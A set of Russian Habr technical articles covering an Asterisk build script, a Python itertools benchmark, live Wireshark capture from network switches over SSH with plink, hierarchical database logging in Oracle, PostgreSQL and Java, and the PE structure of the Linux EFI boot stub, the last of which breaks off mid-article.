dnf install git dnsmasq svn nfs-utils patch gdb gcc gcc-c++ ncurses-devel libxml2-devel sqlite-devel unixODBC unixODBC-devel libtool-ltdl libtool-ltdl-devel libtiff-devel libuuid-devel jansson-devel pjproject-devel ImageMagick ghostscript openssl-devel bzip2 mariadb-connector-odbc libedit-devel
rm -rf /etc/localtime ; ln -s /usr/share/zoneinfo/Europe/Moscow /etc/localtime
systemctl enable chronyd ; systemctl start chronyd
```
3. В каталог /usr/src/asterisk скачиваем любимую версию asterisk с официального сайта или клонируем с github (на текущий момент актуальная LTS это 18)
<https://downloads.asterisk.org/pub/telephony/asterisk/>
<https://github.com/asterisk/asterisk>
4. Если скачали архив, то разворачиваем его и переходим в созданный каталог
`tar zxvf asterisk-18-current.tar.gz ; cd asterisk-18.8.0`
5. Запускаем подготовку к сборке
`./configure`
6. Запускаем сборку menuselect
`make menuselect.makeopts`
7. Сформируем файл со списком всех модулей
menuselect/menuselect --list-options > ../options.conf
8. В результате выполнения у нас получится файл со следующим содержимым
`+ chan_mobile MENUSELECT_ADDONS
- chan_ooh323 MENUSELECT_ADDONS
- format_mp3 MENUSELECT_ADDONS
+ res_config_mysql MENUSELECT_ADDONS
+ app_mysql MENUSELECT_ADDONS
+ cdr_mysql MENUSELECT_ADDONS
+ app_agent_pool MENUSELECT_APPS
+ app_authenticate MENUSELECT_APPS
+ app_bridgeaddchan MENUSELECT_APPS
+ app_bridgewait MENUSELECT_APPS
.....`
8. Откроем полученный файл на редактирование и ставим ± у соответсвующих модулей
9. В /usr/src/asterisk создадим файл build, который будет собирать и устанавливать Asterisk только с нужными модулями
```
#!/bin/bash
pushd asterisk-18.8.0
./configure --libdir=/usr/lib64 --without-dahdi --without-pri --without-gtk2 \
--without-radius --without-x11 --without-speex --with-pjproject-bundled
# ------------------
n=0
while read line; do
# reading each line
n=$((n+1))
STATE=`echo $line | cut -d' ' -f1`
OPTION=`echo $line | cut -d' ' -f2`
CATEGORY=`echo $line | cut -d' ' -f3`
echo "Line No. $n"
echo "$line"
echo "state=$STATE cat=$CATEGORY values=$OPTION"
action='enable'
if [[ "$state" == '-' ]] ; then
action='disable'
fi
menuselect/menuselect --$action $OPTION menuselect.makeopts
echo "-------------------"
done < ../options.conf
make
make install
popd
```
10. Заталкиваем в git файлы build и options.conf | https://habr.com/ru/post/587548/ | null | ru | null |
# Why itertools rocks
zip vs izip или «ну кому ещё объяснить фишку итераторов?»
Таск прост: [0,1,2,3,...,99999] -> [(0,1), (2,3), ..., (99998, 99999)], т.е. выбрать элементы попарно. 100тыс это не так уж много — посему сделаем это по 150 раз для каждого варианта.
Т.к. тест тестит именно скорость выборки а не засовывания результатов в список — возвращать будем только последний элемент (высчитываются все равно все) — лишь чтобы сравнить с эталонным.
> `Copy Source | Copy HTML1. def bench():
> 2. import sys
> 3. from time import time
> 4. from itertools import izip, islice
> 5.
> 6. iterations = **range**(150)
> 7. x = **range**(100000)
> 8.
> 9. def chk(name, func):
> 10. t = **time**()
> 11. for i in iterations:
> 12. result = func(x)
> 13. res = 'ok' if **tuple**(result) == (x[-2], x[-1]) else '!!'
> 14. print '[%s] %10s: %0.4f' % (res, name, **time**()-t)
> 15. if res == '!!':
> 16. print 'auch!'
> 17. print (x[-2], x[-1])
> 18. print result
> 19. **sys**.stdout.flush()
> 20.
> 21. def test\_zip(d):
> 22. for (val1, val2) in **zip**(d[::2], d[1::2]):
> 23. res = val1, val2
> 24. return res
> 25.
> 26. def test\_izip(d):
> 27. for (val1, val2) in izip(islice(d, 0, None, 2), islice(d, 1, None, 2)):
> 28. res = val1, val2
> 29. return res
> 30.
> 31. def test\_for(d):
> 32. for ix in **range**(0, **len**(x), 2):
> 33. res = x[ix], x[ix+1]
> 34. return res
> 35.
> 36. def test\_for\_slice(d):
> 37. for ix in **range**(0, **len**(x), 2):
> 38. res = x[ix:ix+2]
> 39. return res
> 40.
> 41. def test\_ifor(d):
> 42. for ix in **xrange**(0, **len**(x), 2):
> 43. res = x[ix], x[ix+1]
> 44. return res
> 45.
> 46. def test\_for\_enum(d):
> 47. for idx, val1 in **enumerate**(x[::2]):
> 48. res = val1, x[idx\*2+1]
> 49. return res
> 50.
> 51. def test\_for\_count(d):
> 52. idx = -1
> 53. for val1 in x[::2]:
> 54. idx += 2
> 55. res = val1, x[idx]
> 56. return res
> 57.
> 58. def test\_for\_islice(d):
> 59. idx = -1
> 60. for val1 in islice(x, 0, None, 2):
> 61. idx += 2
> 62. res = val1, x[idx]
> 63. return res
> 64.
> 65. chk('zip', test\_zip)
> 66. chk('izip', test\_izip)
> 67. chk('for', test\_for)
> 68. chk('for+slice', test\_for\_slice)
> 69. chk('ifor', test\_ifor)
> 70. chk('for+enum', test\_for\_enum)
> 71. chk('for+cnt', test\_for\_count)
> 72. chk('for+islice', test\_for\_islice)`
Результаты (C2Q@6700)
```
In [780]: bench()
[ok] zip: 9.1446
[ok] izip: 1.1836
[ok] for: 1.6922
[ok] for+slice: 2.4799
[ok] ifor: 1.5846
[ok] for+enum: 1.9567
[ok] for+cnt: 1.3093
[ok] for+islice: 1.3616
```
Иными словами, они почти так же эффективны как сырой счетчик (for+cnt) в режиме «ничего лишнего». У большинства не итерированных функций (как zip vs izip выше) функции, возвращающие итераторы опять же выигрывают и когда списки много меньше:
```
# values for bench() above
iterations = range(1500000)
x = range(10)
[ok] zip: 3.7247
[ok] izip: 3.2949
[ok] for: 3.2703
[ok] for+slice: 3.9095
[ok] ifor: 2.9077
[ok] for+enum: 3.9383
[ok] for+cnt: 2.3443
[ok] for+islice: 2.3495
```
Но, тут уже обычный for+счетчик выигрывают экономя на вызове функций. | https://habr.com/ru/post/52474/ | null | ru | null |
# Мониторинг трафика на коммутаторах при помощи Wireshark + Plink
Сразу отмечу, что способ не мой, а подсмотренный у EVE-NG. Никаких особых преимуществ он не даёт, обладает массой ограничений, но кому-то, просто, удобнее работать с Wireshark в режиме реального времени.
Суть метода проста: перенаправить вывод от утилиты Tcpdump в SSH сессию и передать его в Wireshark.
Ограничения метода в том, что нагружается линк, через который заходите на устройство, а при определённом рвении, можно попытаться его же прослушать (расскажите о последствиях в комментариях). Из этого же ограничения следует, что нужно стараться уменьшить трафик, максимально фильтруя вывод tcpdump.
Ну, и по традиции, вы всё делаете на свой страх и риск. Настоятельно рекомендую, сначала, подумать о последствиях своих действий.
Ну, вот теперь, когда всё бесполезное сказано, переходим к сути.
Утилита Plink.exe которая входит в пакет Putty умеет создавать SSH сессии и выполнять там заданные команды. Эту её особенность, будем использовать для запуска на целевой машине утилиту Tcpdump. В общем виде команда выглядит так:
```
plink.exe -ssh -batch -pw Password root@10.0.0.2 "tcpdump -U -i eth0 -w -" | "C:\Program Files\Wireshark\Wireshark.exe" -k -i -
```
Plink поднимает SSH сессию до машины, от имени root, где запускает утилиту Tcpdump, которая отправляет вывод в SSH сессию, который "скармливаем" Wireshark.
Если вы никогда не заходили на машину используя Putty, то с первого раза у Вас не получится потому, что нужно обменяться ключами. То есть, сначала нужно запустить Putty, и разрешить прием ключа.
Если вам нужны полученные Wireshark данные, то не забудьте их сохранить перед закрытием сессии, иначе после нажатия ctrl+c все полученные данные ~~превратятся в тыкву~~ потеряются без предупреждения и объяснения причин.
Перейдём к практике:
Данная конструкция прекрасно работает на коммутаторах под управлением JunOS. Правда, нужно попасть не в cli, куда попадают простые пользователи, а разу в shell. Что, в свою очередь, возможно только от учётки root, которую нужно разрешить для сессии SSH. В режиме конфигурации добавляем:
```
user@switch# set system services ssh root-login allow
```
Коммитим, ~~радуемся~~ пользуемся.
Часто,на линуксовых машинах, бывает, что зайти непосредственно под root нельзя, но можно повыситься до него, тогда применяем следующую конструкцию:
```
plink.exe -ssh -batch -pw Password root@10.0.0.2 "echo -e 'SudoPass\r' | sudo -S tcpdump -U -i eth0 -w -" | "C:\Program Files\Wireshark\Wireshark.exe" -k -i -
```
Отдельно следует ~~анально покарать~~ упомянуть, что у некоторых производителей, интерфейсы в cli, имеют иное наименование, чем в shell. К примеру, коммутаторы Dell под управлением OS10.
У данных коммутаторов, интерфейс, который в cli называется "ethernet1/1/23", в shell будет называться "e101-023-0", а интерфейс 23го влана - "br23". Весь список интерфейсов можно получить традиционно, введя команду "ip a" в режиме shell, в который можно попасть введя команду "system bash" в cli.
Чтобы попасть в shell минуя ввод команд в cli у OS10 есть специальный пользователь с правами root - "linuxadmin". Следует упомянуть, что если вы хотите получить доступ от этого пользователя по SSH, то пароль данному зверю, нужно задавать непосредственно в его учётке. Алгоритм следующий:
* в cli задаем временный пароль на system-user linuxadmin;
* переходим в shell;
* переключаемся на linuxadmin через su используя временный пароль;
* меняем пароль на необходимый;
* ~~плачем~~ пользуемся привилегированным доступом.
Таким образом, строка для коммутаторов Dell будет следующей:
```
plink.exe -ssh -batch -pw Password linuxadmin@10.0.0.2 "echo -e 'Password\r' | sudo -S tcpdump -U -i e101-023-0 -w -" | "C:\Program Files\Wireshark\Wireshark.exe" -k -i -
```
К сожалению, переходя к всё более производительным решениям, производители всё дальше и дальше отдаляют пути прохождения пакетов от процессора, контролирующего работу системы. И вот, уже, вырвать пакеты из ~~цепких лап~~ ASIC становится не банальной задачей. Но решаемой, благодаря предусмотрительности производителя.
Так например, у Mellanox есть механизм зеркалирования, подробно описанный на сайте техподдерки (<https://docs.nvidia.com/networking-ethernet-software/cumulus-linux-43/Monitoring-and-Troubleshooting/Network-Troubleshooting/SPAN-and-ERSPAN/##cpu-port-as-the-span-destination>)
В крадце, суть в следующем: создается политика перенаправления входящего или исходящего трафика с нужного интерфейса на CPU, где его, в последствии ловит Tcpdump.
Итак, по пунктам, по рекомендации от производителя:
* создаём файл span.rules, в директории /etc/cumulus/acl/policy.d/ в котором пропишем правила перенаправления, например:
```
[iptables]
-A FORWARD -i swp1 -s 10.10.1.1 -j SPAN --dport cpu
-A FORWARD -o swp1 -s 10.10.1.1 -j SPAN --dport cpu
```
* применяем политики
```
user@switch$ sudo cl-acltool -i
```
* проверяем
```
user@switch:~$ sudo iptables -L -v | grep SPAN
```
* запускаем мониторинг трафика
```
plink.exe -ssh -batch -pw Password user@10.0.0.2 "echo -e 'SudoPass\r' | sudo -S tcpdump -U -i mirror -w -" | "C:\Program Files\Wireshark\Wireshark.exe" -k -i -
```
К сожалению, у меня не получилось, таким способом, получить исходящий трайфик с интерфейсов bond. Производитель, в инструкции, ловко обошел вопрос: "Можно ли зеркалить на CPU интерфейсы bond?"
Возможно, кто-то решит, что у меня есть предрасположенность к Mellanox и антипатия к Dell, то он ошибается, я люблю ~~любовно~~(нет) собранный у меня зоопарк одинаково.
Надеюсь, информация была полезна. | https://habr.com/ru/post/592895/ | null | ru | null |
# Иерархическое логирование приложения в Базу Данных
Всем, привет!
В статье я хотел бы рассказать об одном из подходов к логированию приложения, который сильно помогал мне и коллегам при отладке, поиске ошибок и анализе проблем производительности. Про необходимость логирования было написано множество хороших статей в том числе и на Хабре, поэтому здесь нет большого смысла повторяться. Я начинал карьеру в IT с Oracle и изучал эту БД по книгам главного эксперта — Тома Кайта. Мне запомнилась его фраза по поводу логирования из книги "Effective Oracle by Design":
> Instrumentation is not overhead. Overhead is something you can remove without losing much benefit. Removing (or not having) instrumentation takes away considerable functionality. You wouldn’t need to do this if your systems never break, never need diagnostics, and never suffer from performance issues. If that is true, you don’t need to instrument your system (and send me your email address, because I have a job offer for you).
С работой над Oracle проектами всё и началось.
Иерархическое логирование в Oracle
----------------------------------
Какое-то время назад я работал на проекте разработки крупного Хранилища Данных на платформе Oracle. Логика загрузки, проверки, обогащения данных была реализована внутри БД на языке PL/SQL. В отношение логирования была предложена следующая идея. Если глобально посмотреть на любое приложение, то оно представляет из себя дерево вызовов функций/процедур(методов). При этом метод внутри себя может вызвать несколько дочерних методов, но его вызов происходит ровно из одного родительского метода. Таким образом мы получаем parent/child иерархию между методами (вызывающий/вызываемый), которая естественным образом моделируется в базе данных с помощью полей *id*, *parent\_id*, где *parent\_id* есть внешний ключ на поле *id*. Это ровно такая же связь, как и в классическом примере с сотрудниками и их менеджерами (у сотрудника может быть только один менеджер, у менеджера может быть несколько сотрудников). Схему логирования можно описать следующим образом:
```
create table log_instances (
start_log_id number(16) not null
, log_instance_name varchar2(100) not null
, start_ts timestamp(6) not null
, end_ts timestamp(6)
, status varchar2(1) not null
, log_date date not null,
, constraint log_instances_pk primary key(start_log_id))
/
create index log_instances_name_idx on log_instances(log_instance_name)
/
create table log_table (
action_name varchar2(64) not null,
log_id NUMBER(16) not null,
parent_log_id NUMBER(16),
start_ts timestamp(6) not null,
end_ts timestamp(6),
status varchar2(1) not null,
comments varchar2(4000),
exception_message varchar2(4000),
large_text CLOB,
log_date date not null,
constraint log_table_status_chck check (status in ('C'/*completed*/, 'R'/*running*/, 'F'/*failed*/))
)
partition by range (log_date)
interval(NUMTODSINTERVAL(7,'day'))
(partition p_fst_day_of_week values less than (date '...'))
/
create index log_table_log_id_idx on log_table(log_id) local
/
create index log_table_parent_id_idx on log_table(parent_log_id) local
/
create index log_table_action_name_idx on log_table(action_name) local
/
```
В первую таблицу *log\_instances* пишется информация о каждом старте приложения:
* *log\_instance\_name* — название, например "sample\_app\_20200501"
* *start\_ts/end\_ts* — время начала и окончания логирования (*end\_ts* пустое, если приложение в данный момент выполняется)
* *status* — 'C' (completed) — приложение завершилось без ошибок, 'R'(running) — приложение выполняется, 'F'(failed) — приложение завершилось с ошибкой.
* *start\_log\_id* — корневой id в иерархии вызовов.
Таблица *log\_table* содержит информацию о каждой активности внутри приложения и её связь с родительской активностью.
* *action\_name* — название логируемой активности
* *start\_ts/end\_ts* — дата начала/окончания логируемой активности
* *status* — 'C' (completed) — активность завершилась без ошибок, 'R'(running) — активность выполняется, 'F'(failed) — активность завершилась с ошибкой.
* *exception\_message* — если активность завершилась с ошибкой, то будет записан error stack trace с номером строки, где произошло исключение
На основе этих таблиц создаётся API (в Oracle API обычно реализуются с помощью пакетов и набора процедур/функций в них). Методы:
* *PROCEDURE start\_logging(instance\_name)* — начать логирование, создать контекст логирования, создать строку в таблице *log\_instances*
* *PROCEDURE open\_next\_level(action\_name, comments, clob\_text)* — начать логирование активности в текущем контексте. Создать строку в таблице *log\_table*
* *PROCEDURE close\_level\_success* — завершить логирование активности со статусом 'C'
* *PROCEDURE close\_level\_fail* — завершить логирование активности со статусом 'F'
* *PROCEDURE stop\_log\_success* — завершить логирование приложения со статусом 'C'
* *PROCEDURE stop\_log\_fail* — завершить логирование приложения со статусом 'F'
### Контекст логирования
Под *контекстом логирования* понимается набор следующих сессионных переменных (в Oracle их ещё называют *пакетными*):
* *id* корня дерева вызовов
* текущий *id*, по которому будет происходить INSERT/UPDATE в *log\_table*
* родительский *id* в log\_table для определения записи, после того как произошло завершение логирования текущей активности
Методы из *pk\_util\_log* управляют состоянием контекста. При необходимости можно дополнить API удобными методами:
-*info* — после *open\_level* сразу вызываем *close\_level*. Таким образом мы просто логируем какой-то факт по аналогии с *logger.info* в Java.
-*resume\_logging (parent\_log\_id)* — позволяет начать логирование в текущей контекст из другой сессии. Для этого нужно передать id родительской записи в log\_table.
### Пример
```
DECLARE
PROCEDURE b(p_name_in IN VARCHAR2) IS
v_dummy_cnt PLS_INTEGER;
BEGIN
pk_util_log.open_next_level(p_action_name_in => 'In procedure b()',
p_comments_in => 'procedure B(), line: ' || $$PLSQL_LINE || chr(13) || chr(10) ||
'p_name_in: ' || p_name_in);
dbms_lock.sleep(3);
pk_util_log.close_level_success;
EXCEPTION
WHEN OTHERS THEN
pk_util_log.close_level_fail;
RAISE;
END;
PROCEDURE a(p_name_in IN VARCHAR2) IS
BEGIN
pk_util_log.open_next_level(p_action_name_in => 'In procedure a()',
p_comments_in => 'procedure A(), line: ' || $$PLSQL_LINE || chr(13) || chr(10) ||
'p_name_in: ' || p_name_in);
b('dummy_b');
dbms_lock.sleep(2);
pk_util_log.close_level_success;
EXCEPTION
WHEN OTHERS THEN
pk_util_log.close_level_fail;
RAISE;
END;
BEGIN
pk_util_log.start_logging('sample_app_20200501');
dbms_output.put_line(pk_util_log.get_start_log_id);
a('dummy_a');
pk_util_log.stop_log_success;
exception
when others then
pk_util_log.stop_log_fail;
raise;
END;
/
```
Сначала мы получаем *start\_log\_id*:
```
select start_log_id from log_instances where log_instance_name = 'sample_app_20200501';
```
Теперь по start\_log\_id мы можем получить весь лог приложения с помощью иерархического запроса:
```
SELECT
LPAD (' ', 2* (LEVEL- 1)) || l.action_name as action_name,
l.status,
l.start_ts,
l.end_ts,
l.comments
FROM
tech_log_table l
START WITH l.log_id = 204 /*start_log_id*/
CONNECT BY
l.parent_log_id = PRIOR l.log_id
ORDER SIBLINGS BY
l.log_id ASC;
```
| ACTION\_NAME | STATUS | START\_TS | END\_TS | COMMENTS |
| --- | --- | --- | --- | --- |
| sample\_app\_20200501 | C | 2020-05-01 16:37:46.753168 | 2020-05-01 16:37:51.755380 | NULL |
| In procedure a() | C | 2020-05-01 16:37:46.753554 | 2020-05-01 16:37:51.754649 | procedure A(), line: 19
p\_name\_in: dummy\_a |
| In procedure b() | C | 2020-05-01 16:37:46.753869 | 2020-05-01 16:37:49.753746 | procedure B(), line: 6
p\_name\_in: dummy\_b |
Видно, что время выполнения процедуры *a(p\_name\_in)* складывается из собственных активностей плюс время выполнения дочерней процедуры *b(p\_name\_in)*.
### Зачем это нужно
1. Можно получать ответы на вопросы, касающиеся времени выполнения активностей, например, какой вклад по времени дочерняя активность внесла во время выполнения родительской.
2. Проследить логику работы приложения, последовательность вызова методов, их вложенность. Это помогает присоединившимся коллегам быстрее разобраться в специфике приложения: они могут запустить его на тестовых данных, выполнить запрос получения иерархического лога и посмотреть логику вызовов.
3. Появляется единый язык общения между разработчиками, тестировщиками, инженерами поддержки. Все используют один и тот же SQL анализа лога. При анализе проблемы вместо обмена лог файлов по email коллеги ссылаются на id записей в лог таблице.
Несколько замечаний по реализации:
1. DML операции с *log\_table* используют первичный ключ (*log\_id*). *log\_id* генерируется через sequence объект в Oracle, обеспечивает уникальность и неблокирующий доступ. При создании sequence можно также указывать количество элементов для кэширования в каждой сессии для дальнейшего уменьшения проблем одновременного доступа.
2. Для *log\_table* нужно предусмотреть механизм архивации, потому что эта таблица будет очень активно расти. В случае с Oracle удобным механизмом будет интервальное партиционирование, где партиции добавляются автоматически по мере необходимости. Неактуальные партиции можно эффективно удалять, переносить в архив.
После Oracle проектов я немного поменял специализацию и перешёл на проекты, где бизнес логика реализовывалась в Java. И со временем мне пришла идея перенести иерархическое логирование на Java API.
Иерархическое логирование в Java
--------------------------------
Итак, первое с чем надо было определиться, стала База Данных для логов. Мой выбор пал на PostgreSql как наиболее близкий к Oracle вариант в мире Open Source.
Для того, чтобы не создавать каждый раз новый Connection объект при записи в БД логирования, используется Connection Pool к ней (например *HikariCP*).
Контекст логирования в случае реализации бизнес логики в БД привязан к сессии. В Java он привязан к текущему thread'у. Для этого используется класс *ThreadLocal*, а точнее *InheritableThreadLocal*, чтобы дочерний thread наследовал контекст логирования от родителя.
### API
Методы логирования:
* *public static void startLog(final String logInstanceName)*
* *public static void openNextLevel(final String actionName, final String comments)*
* *public static void stopLogSuccess()*
* *public static void stopLogFail(final Exception exception)*
* *public static void closeLevelSuccess()*
* *public static void closeLevelFail(final Exception exception)*
Пример:
```
public class A {
public static void main(String[] args) {
try {
LogUtils.startLog("sample_app_20200501");
A a = new A();
a.method1("some string");
LogUtils.stopLogSuccess();
} catch (Exception e) {
LogUtils.stopLogFail(e);
throw new RuntimeException(e);
}
}
private String method1(String s) {
try {
LogUtils.openNextLevel("method1", "Arguments: " + s);
method2(1, 2);
LogUtils.closeLevelSuccess();
return s;
} catch (Exception e) {
LogUtils.closeLevelFail(e);
throw new RuntimeException(e);
}
}
private long method2(int i1, int i2) {
try {
LogUtils.openNextLevel("method2", "Arguments: " + i1 + ", " + i2);
LogUtils.closeLevelSuccess();
return i1 + i2;
} catch (Exception e) {
LogUtils.closeLevelFail(e);
throw new RuntimeException(e);
}
}
}
```
Для того чтобы получить лог, мы как и в предыдущем примере получаем из *log\_instances* id корня дерева (*start\_log\_id*) и выполняем иерархический запрос. В случае с PostgreSql запрос пишется через RECURSIVE WITH:
```
WITH RECURSIVE log AS (
SELECT 1 as level,
ARRAY [l.log_id] AS path,
l.log_id,
l.action_name,
l.parent_log_id,
l.start_ts,
l.end_ts,
l.status,
l.comments,
l.exception_message
FROM log_table l
WHERE l.log_id = ...
UNION ALL
SELECT l.level + 1 as level,
path || l1.log_id,
l1.log_id,
l1.action_name,
l1.parent_log_id,
l1.start_ts,
l1.end_ts,
l1.status,
l1.comments,
l1.exception_message
FROM log_table l1
INNER JOIN log l ON l.log_id = l1.parent_log_id
)
SELECT
lpad(' ', (l.level - 1) * 2) || l.log_id as log_id,
l.action_name,
l.start_ts,
l.end_ts,
l.end_ts - l.start_ts as duration,
l.status,
l.comments,
l.exception_message
FROM log l
order by l.path, l.start_ts;
```
### Boilerplate код и Aspect Oriented Programming
В предыдущем примере мы видим, что для того, чтобы корректно логировать время выполнения метода, а также выбрасываемый им exception мы должны в каждом методе писать:
```
try {
LogUtils.openNextLevel(...);
...
LogUtils.closeLevelSuccess();
} catch (Exception e) {
LogUtils.closeLevelFail(e);
throw new RuntimeException(e);
}
```
Это "загрязняет" код, требует определённой внимательности и дисциплины при добавлении новых методов. Частично эту проблему можно решить с помощью code templates, которые предоставляет любая современная IDE и со временем вызовы логирования не будут отвлекать при чтении логики метода. Есть и другое более элегантное решение: использовать функционал Aspect Oriented Programming (AOP). Эта тема заслуживает отдельных статей и даже книг, но если говорить совсем кратко, то AOP — это техника решения задач, присущих всему приложению (*cross-cutting concerns*). К таким задачам относятся поддержка транзакций, безопасность, логирование. В AOP мы отдельно определяем дополнительную функциональность (*advice*) и места, куда необходимо эту функциональность добавить (*pointcut*). Сочетание *pointcut* и *advice* называется *аспектом*. Далее мы можем декларативно с помощью аннотаций помечать методы, к которым хотим дополнительную функциональность добавить. Эта дополнительная функциональность может добавляться (*weave*) на разных этапах: *compile-time*, *post-compile*, *load-time*. Я приведу пример *compile-time weaving*, используя популярную AOP библиотеку AspectJ.
Итак, мы хотим создать аннотацию *@LogToDb*, чтобы при добавлении её к методу, происходило логирование аргументов. возвращаемого значения и времени выполнения:
```
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.METHOD)
public @interface LogToDb {
boolean suppressLogArgs() default false;
boolean suppressLogResult() default false;
}
```
Тогда аспект будет выглядеть так:
```
@Aspect
public class LogToDbAspect {
@Pointcut("@annotation(logToDb) && execution(* *.*(..))")
public void logToDbPointcut(LogToDb logToDb) {
}
@Around(value = "logToDbPointcut(logToDb)")
public Object around(ProceedingJoinPoint pjp, LogToDb logToDb) throws Throwable {
try {
LogUtils.openNextLevel(pjp.getSignature().toShortString(),
logToDb.suppressLogArgs() ? null : AspectUtils.getArgsString(pjp.getArgs()));
Object result = pjp.proceed();
if (!logToDb.suppressLogResult()) {
LogUtils.addComments("\nResult: " + result.toString());
}
LogUtils.closeLevelSuccess();
return result;
} catch (Exception e) {
LogUtils.closeLevelFail(e);
throw new RuntimeException(e);
}
}
}
```
И теперь вместо boilerplate кода:
```
private String method1(String s) {
try {
LogUtils.openNextLevel("method1", "Arguments: " + s);
LogUtils.addComments("\nResult: " + s);
LogUtils.closeLevelSuccess();
return s;
} catch (Exception e) {
LogUtils.closeLevelFail(e);
throw new RuntimeException(e);
}
}
```
Можно писать просто:
```
@LogToDb
private String method1(String s) {
return s;
}
```
К сожалению такое удобство влечёт определённые последствия:
1. При compile-time weaving используется сторонний компилятор aspectjc.
2. aspectjc компилятор может конфликтовать с другим библиотеками аннотаций, которые добавляют код на этапе компиляции. В частности aspectjc не совместим с Lombok. При сборке будет происходить такая ошибка:
```
[WARNING] You aren't using a compiler supported by lombok, so lombok will not work and has been disabled.
Your processor is: org.aspectj.org.eclipse.jdt.internal.compiler.apt.dispatch.BatchProcessingEnvImpl
Lombok supports: sun/apple javac 1.6, ECJ
```
Необходимо будет использовать lombok-maven-plugin, чтобы на вход aspectjc уже подавался код с учётом генерации от lombok.
Итоги
-----
В заключение я хотел бы выделить ключевые моменты:
1. Иерархическое логирование в БД логирует:
* время начала и окончания активности
* exception
* parent/child связь (вызывающий/вызываемый)
2. Плюсы такого логирования:
* единый SQL для удобного анализа времён выполнения, логики
* информация о запусках приложения хранится в одной таблице, их удобно сравнивать
3. Недостатки:
* логирование предполагает наличие boilerplate кода
* нужно помнить о периодическом архивировании лог таблицы
4. При реализации в Java необходимо учитывать следующие факторы:
* появляется дополнительная зависимость от БД. При современном уровне развития DevOps процессов на мой взгляд это небольшая проблема.
* boilerplate код можно убрать с помощью техник AOP, но надо анализировать последствия (сторонний компилятор, влияние на runtime).
* ожидается, что время на запись в БД логирования пренебрежимо мало по сравнению с работой приложения. Connection pool, изменение таблицы логирования через первичный ключ, расположение БД на том же хосте, что и приложение — всё это способствует данному утверждению. Однако необходимо убедиться в этом на своём окружении. При необходимости DML операции с таблицей логирования можно делать асинхронно.
Ссылки
------
Примеры реализации иерархического логирования можно посмотреть на моём GitHub:
Реализация в Oracle:
1. <https://github.com/nikita-mospan/plsql-liquibase-utplsql/blob/master/src/main/resources/oracle/tech_user/packages/pk_util_log.pks>
2. <https://github.com/nikita-mospan/plsql-liquibase-utplsql/blob/master/src/main/resources/oracle/tech_user/packages/pk_util_log.pkb>
Реализация в Java:
1. <https://github.com/nikita-mospan/log-to-db> | https://habr.com/ru/post/500656/ | null | ru | null |
# Linux Kernel EFI Boot Stub или «Сам себе загрузчик»
#### Введение
Прочитав недавнюю статью [Загрузка ОС Linux без загрузчика](http://habrahabr.ru/post/196926/), понял две вещи: многим интересна «новинка», датируемая аж 2011 годом; автор не описал самого основного, без чего, собственно, и работать ничего не будет в некоторых случаях. Также была [ещё](http://habrahabr.ru/post/165575/) одна статья, но либо она уже устарела, либо там опять таки много лишнего и недосказанного одновременно.
А конкретно, был упущен основной момент — сборочная опция ядра CONFIG\_EFI\_STUB. Так как в последних версиях U(lu/ku/edu/\*etc\*)buntu эта опция по умолчанию уже включена, никаких подозрений у автора не появилось.
Насколько мне известно, на текущий момент она включена в дистрибутивах указанных версий и выше: Arch Linux, Fedora 17, OpenSUSE 12.2 и Ubuntu 12.10. В комментах ещё упомянули, что Debian с ядром 2.6 умеет, но это не более, чем бэкпорт с последних версий. На этих дистрибутивах пересобирать вообще ничего не нужно! А ведь на других CONFIG\_EFI\_STUB, скорее всего, либо вообще отсутствует, т. к. опция доступна только с ядра версии 3.3.0 и выше, либо выключена по умолчанию. Соответственно, всё, описанное ниже, справедливо для ядра, собранного с опцией CONFIG\_EFI\_STUB.
#### Итак, что же такое Linux Kernel EFI Boot Stub?
##### Общая информация
А ни что иное, как… «exe-файл»! Да-да, «виндовый» [PE/COFF](http://ru.wikipedia.org/wiki/Portable_Executable). Ну, а точнее, только закос под него с небольшими модификациями, чтобы угодить загрузчику [UEFI](http://ru.wikipedia.org/wiki/Extensible_Firmware_Interface). Можно убедиться в этом, прочитав первые 2 байта ядра:
```
$ od /boot/vmlinuz-linux --address-radix=x --read-bytes=2 -t x1c
0000000 4d 5a
M Z
0000002
```
Знакомо, не правда ли? Как минимум тем, кто хоть раз «для интереса» открывал исполняемый файл MS-DOS или Windows в блокноте, хекс-редакторе или чём-то покруче. Это инициалы [Марка Збиковски](http://en.wikipedia.org/wiki/Mark_Zbikowski), который, собственно, и разработал данный формат файлов в MS-DOS. Сигнатура этой заглушки до сих пор висит рудиментом в современных исполнимых файлах Windows, сжирая со своим заголовком целых 64 байта на каждый файл!
DOS-заголовок попадает на legacy-код, который выполняется в случае загрузки ядра как бут-сектора, и ругается на манеру MS-DOS при запуске PE-файлов: «Direct floppy boot is not supported. Use a boot loader program instead. Remove disk and press any key to reboot ...». Поэтому информация из этого заголовка здесь является мусором, кроме, собственно, сигнатуры 'MZ' и адреса смещения следующего заголовка.
Идём дальше.
Спецификация PE/COFF говорит нам, что по смещению 0x3c находится 32-битное смещение второго заголовка с сигнатурой «PE\0\0»:
```
$ od /boot/vmlinuz-linux --address-radix=x --read-bytes=4 --skip-bytes=0x3c -t x4
00003c 000000b8
000040
```
итак, смещение равно 0xb8, что справедливо для текущего stable-ядра x86\_64 архитектуры, на x86 будет 0xa8. Читаем:
```
$ od /boot/vmlinuz-linux --address-radix=x --read-bytes=4 --skip-bytes=0xb8 -t x1c
0000b8 50 45 00 00
P E \0 \0
0000bc
```
А вот и сигнатура второго заголовка! Как можно было догадаться, это аббревиатура от словосочетания Portable Executable, с которой и начинается полезная нагрузка в исполнимых файлах.
Даже загрузчик Windows плевал на половину полей этого заголовка, а уж UEFI они и вовсе не нужны, поэтому некоторые из них прописаны статически, важные же — заполняются во время сборки ядра. Множество «ненужных» полей, всяких таймстемпов, котрольных сумм и пр. просто остаются нулями. Заполняются в основном размеры, смещения, точка входа и т. д. Поэтому, можно с натяжкой назвать данный PE-файл полностью валидным. Однако, классические утилиты LordPE или PETools вполне себе довольствуются сигнатурами и рассказывают о файле всё, что им известно:
Основное отличие от «реальных» исполняемых файлов в Windows — это флаг Subsystem опционального заголовка, который выставляется в IMAGE\_SUBSYSTEM\_EFI\_APPLICATION, а не в IMAGE\_SUBSYSTEM\_WINDOWS\_GUI для графических или IMAGE\_SUBSYSTEM\_WINDOWS\_CUI для символьных (консольных) приложений Windows соответственно.
##### Структура
В общем же, всё как в обычном PE-файле. На текущий момент стабильной версии 3.11.4 ядра Arch Linux из репозиториев, в нём содержатся 3 секции: '.setup', '.reloc' и '.text'.
* Секция .setup, содержит в основном legacy-код для инициализации в случае загрузки в режиме совместимости. При загрузке же в UEFI mode, все переключения режимов процессора, начальные инициализации производит прошивка.
